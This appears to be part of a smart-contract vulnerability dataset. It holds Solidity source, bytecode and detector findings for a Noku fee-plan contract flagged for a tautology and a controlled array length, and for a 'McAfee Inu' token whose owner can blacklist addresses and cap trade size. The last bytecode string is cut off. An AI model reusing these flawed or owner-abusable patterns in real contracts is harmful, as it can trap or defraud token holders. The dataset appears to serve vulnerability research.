updating an existing service fee * - reduced by removing an existing service with its associated fee * - queried to obtain the count of services * The service [name, fee] association is maintained using an index in order to make the data traversable. */ contract NokuConsumptionPlan is NokuPricingPlan, Ownable { using SafeMath for uint256; event LogNokuConsumptionPlanCreated(address indexed caller, address indexed nokuMasterToken, address indexed tokenBurner); event LogServiceAdded(bytes32 indexed serviceName, uint indexed index, uint indexed serviceFee); event LogServiceChanged(bytes32 indexed serviceName, uint indexed index, uint indexed serviceFee); event LogServiceRemoved(bytes32 indexed serviceName, uint indexed index); struct NokuService { uint serviceFee; uint index; } bytes32[] private serviceIndex; mapping(bytes32 => NokuService) private services; // The NOKU utility token used for paying fee address public nokuMasterToken; // The contract responsible for burning the NOKU tokens paid as service fee address public tokenBurner; constructor(address _nokuMasterToken, address _tokenBurner) public { require(_nokuMasterToken != 0, "_nokuMasterToken is zero"); require(_tokenBurner != 0, "_tokenBurner is zero"); nokuMasterToken = _nokuMasterToken; tokenBurner = _tokenBurner; emit LogNokuConsumptionPlanCreated(msg.sender, _nokuMasterToken, _tokenBurner); } function isService(bytes32 _serviceName) public constant returns(bool isIndeed) { require(_serviceName != 0, "_serviceName is zero"); if (serviceIndex.length == 0) return false; else return (serviceIndex[services[_serviceName].index] == _serviceName); } function addService(bytes32 _serviceName, uint _serviceFee) public onlyOwner returns(uint index) { require(!isService(_serviceName), "_serviceName already present"); services[_serviceName].serviceFee = _serviceFee; services[_serviceName].index = serviceIndex.push(_serviceName)-1; emit LogServiceAdded(_serviceName, serviceIndex.length-1, _serviceFee); return serviceIndex.length-1; } function removeService(bytes32 _serviceName) public onlyOwner returns(uint index) { require(isService(_serviceName), "_serviceName not present"); uint rowToDelete = services[_serviceName].index; bytes32 keyToMove = serviceIndex[serviceIndex.length-1]; serviceIndex[rowToDelete] = keyToMove; services[keyToMove].index = rowToDelete; serviceIndex.length--; emit LogServiceRemoved(_serviceName, rowToDelete); emit LogServiceChanged(keyToMove, rowToDelete, services[keyToMove].serviceFee); return rowToDelete; } function updateServiceFee(bytes32 _serviceName, uint _serviceFee) public onlyOwner returns(bool success) { require(isService(_serviceName), "_serviceName not present"); services[_serviceName].serviceFee = _serviceFee; emit LogServiceChanged(_serviceName, services[_serviceName].index, _serviceFee); return true; } function payFee(bytes32 _serviceName, uint256 _amount, address _client) public returns(bool paid) { //require(isService(_serviceName)); // Already checked by #usageFee //require(_amount != 0); // Already checked by #usageFee require(_client != 0, "_client is zero"); uint256 fee = usageFee(_serviceName, _amount); if (fee == 0) return true; require(ERC20(nokuMasterToken).transferFrom(_client, tokenBurner, fee), "NOKU fee payment failed"); NokuTokenBurner(tokenBurner).tokenReceived(nokuMasterToken, fee); return true; } function usageFee(bytes32 _serviceName, uint256 _amount) public constant returns(uint fee) { require(isService(_serviceName), "_serviceName not present"); require(_amount != 0, "_amount is zero"); // Assume fee are represented in 18-decimals notation return _amount.mul(services[_serviceName].serviceFee).div(10**18); } function serviceCount() public constant returns(uint count) { return serviceIndex.length; } function serviceAtIndex(uint _index) public constant returns(bytes32 serviceName) { return serviceIndex[_index]; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630623752681146100be5780632576a779146100e55780632996f972146101145780632b708fc9146101455780638544023a146101605780638da5cb5b1461017557806399d80ed91461018a5780639fc8ed76146101a5578063d30b5386146101bd578063d3884c3f146101e4578063f2fde38b146101fc578063fd2773991461021f575b600080fd5b3480156100ca57600080fd5b506100d3610237565b60408051918252519081900360200190f35b3480156100f157600080fd5b5061010060043560243561023e565b604080519115158252519081900360200190f35b34801561012057600080fd5b506101296102ff565b60408051600160a060020a039092168252519081900360200190f35b34801561015157600080fd5b506100d360043560243561030e565b34801561016c57600080fd5b50610129610407565b34801561018157600080fd5b50610129610416565b34801561019657600080fd5b506100d3600435602435610425565b3480156101b157600080fd5b506100d3600435610524565b3480156101c957600080fd5b50610100600435602435600160a060020a0360443516610548565b3480156101f057600080fd5b506100d360043561075b565b34801561020857600080fd5b5061021d600160a060020a03600435166108c0565b005b34801561022b57600080fd5b50610100600435610954565b6001545b90565b60008054600160a060020a0316331461025657600080fd5b61025f83610954565b15156102b5576040805160e560020a62461bcd02815260206004820152601860248201527f5f736572766963654e616d65206e6f742070726573656e740000000000000000604482015290519081900360640190fd5b600083815260026020526040808220848155600101549051849286917f6a74e1fc6de647ad5f190eee99b78cea5c6ad597bca1f3f1781b6d326a0d90189190a45060015b92915050565b600454600160a060020a031681565b600061031983610954565b151561036f576040805160e560020a62461bcd02815260206004820152601860248201527f5f736572766963654e616d65206e6f742070726573656e740000000000000000604482015290519081900360640190fd5b8115156103c6576040805160e560020a62461bcd02815260206004820152600f60248201527f5f616d6f756e74206973207a65726f0000000000000000000000000000000000604482015290519081900360640190fd5b60008381526002602052604090205461040090670de0b6b3a7640000906103f490859063ffffffff6109f416565b9063ffffffff610a1d16565b9392505050565b600354600160a060020a031681565b600054600160a060020a031681565b60008054600160a060020a0316331461043d57600080fd5b61044683610954565b1561049b576040805160e560020a62461bcd02815260206004820152601c60248201527f5f736572766963654e616d6520616c72656164792070726573656e7400000000604482015290519081900360640190fd5b6000838152600260205260408082208481556001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf68101889055918101919091555490518492600019929092019186917fd4d39b38c5a56bd29d76a3f1bc67f8a4a4f36f8b625e47ca00f9fe635686d0919190a4506001546000190192915050565b600060018281548110151561053557fe5b906000526020600020015490505b919050565b600080600160a060020a03831615156105ab576040805160e560020a62461bcd02815260206004820152600f60248201527f5f636c69656e74206973207a65726f0000000000000000000000000000000000604482015290519081900360640190fd5b6105b5858561030e565b90508015156105c75760019150610753565b60035460048054604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03888116948201949094529183166024830152604482018590525191909216916323b872dd9160648083019260209291908290030181600087803b15801561064357600080fd5b505af1158015610657573d6000803e3d6000fd5b505050506040513d602081101561066d57600080fd5b505115156106c5576040805160e560020a62461bcd02815260206004820152601760248201527f4e4f4b5520666565207061796d656e74206661696c6564000000000000000000604482015290519081900360640190fd5b60048054600354604080517fcae15051000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163cae1505191604480830192600092919082900301818387803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b50505050600191505b509392505050565b6000805481908190600160a060020a0316331461077757600080fd5b61078084610954565b15156107d6576040805160e560020a62461bcd02815260206004820152601860248201527f5f736572766963654e616d65206e6f742070726573656e740000000000000000604482015290519081900360640190fd5b6000848152600260205260409020600190810154815490935060001981019081106107fd57fe5b906000526020600020015490508060018381548110151561081a57fe5b60009182526020808320909101929092558281526002909152604090206001908101839055805490610850906000198301610a32565b50604051829085907f5b151f1e60671500836e9aac474b06132793b3d7ed3643ad614324b0103d08b690600090a36000818152600260205260408082205490519091849184917f6a74e1fc6de647ad5f190eee99b78cea5c6ad597bca1f3f1781b6d326a0d901891a45092915050565b600054600160a060020a031633146108d757600080fd5b600160a060020a03811615156108ec57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008115156109ad576040805160e560020a62461bcd02815260206004820152601460248201527f5f736572766963654e616d65206973207a65726f000000000000000000000000604482015290519081900360640190fd5b60015415156109be57506000610543565b600082815260026020526040902060019081015481548492919081106109e057fe5b600091825260209091200154149050610543565b6000821515610a05575060006102f9565b50818102818382811515610a1557fe5b04146102f957fe5b60008183811515610a2a57fe5b049392505050565b815481835581811115610a5657600083815260209020610a56918101908301610a5b565b505050565b61023b91905b80821115610a755760008155600101610a61565b50905600a165627a7a72305820c124b5d3d462977c66783b1b33d3595435df092e76cd866562615f0d16a5d1660029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,887
0x081531272ef33d6c1a52693999e7b6e8f4429751
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ /* https://t.me/mcafeeinu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract McAfeeInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "McAfee Inu"; string private constant _symbol = 'MCAFEE️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f4d634166656520496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d4341464545efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806012600061010